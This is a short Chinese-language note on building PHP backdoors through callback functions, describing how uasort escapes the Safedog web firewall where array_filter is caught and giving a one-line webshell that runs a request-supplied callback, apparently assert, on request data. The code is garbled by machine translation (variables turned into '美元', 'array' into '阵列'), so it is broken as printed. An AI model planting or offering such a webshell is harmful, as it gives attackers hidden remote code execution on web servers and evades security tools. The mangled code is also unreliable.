PHP回调后门笔记

  

在php中存在回调函数参数的函数,都有可能作为后门


比如到,array_filter这类数组操作的回调函数,但是在安全狗下会被杀掉


但是uasort这类函数不会被杀掉。


5.4.8增加了参数description。描述现在也作为第四个参数提供给ASSERT_CALLBACK模式里的回调函数。

那么这里就可以使用有两个参数的回调函数了,比如

& lt; php ?   e 美元;=,$ _REQUEST [' e '];   $ arr =,阵列($ _REQUEST['通过'],,,te);   uasort ($ arr ,, $ e);

在php5.3环境下会报错,因为5.3的断言只有一个参数。

在php5.4以后就可以执行了


这里的传递参数的顺序也有变化,在php7之前不包括php7,传递参数是数组的第一个参数就是回调函数的第二个参数。

在php7及以后,数组的第一个参数是回调函数的第一个参数。

比如:

function  mysort (var_1 美元,,var_2美元)   {   echo “var_1 :,”。var_1美元。“& lt; br>”;   echo “var_2 :,”。var_2美元。“& lt; br>”;   }         $ arr =,阵列(“1”,,,“2”);   uasort (arr 美元;,,mysort);

在php7以前的环境输出:

var_1: 2
var_2: 1


在php7及其以后的环境输出:

var_1: 1
var_2: 2

PHP回调后门笔记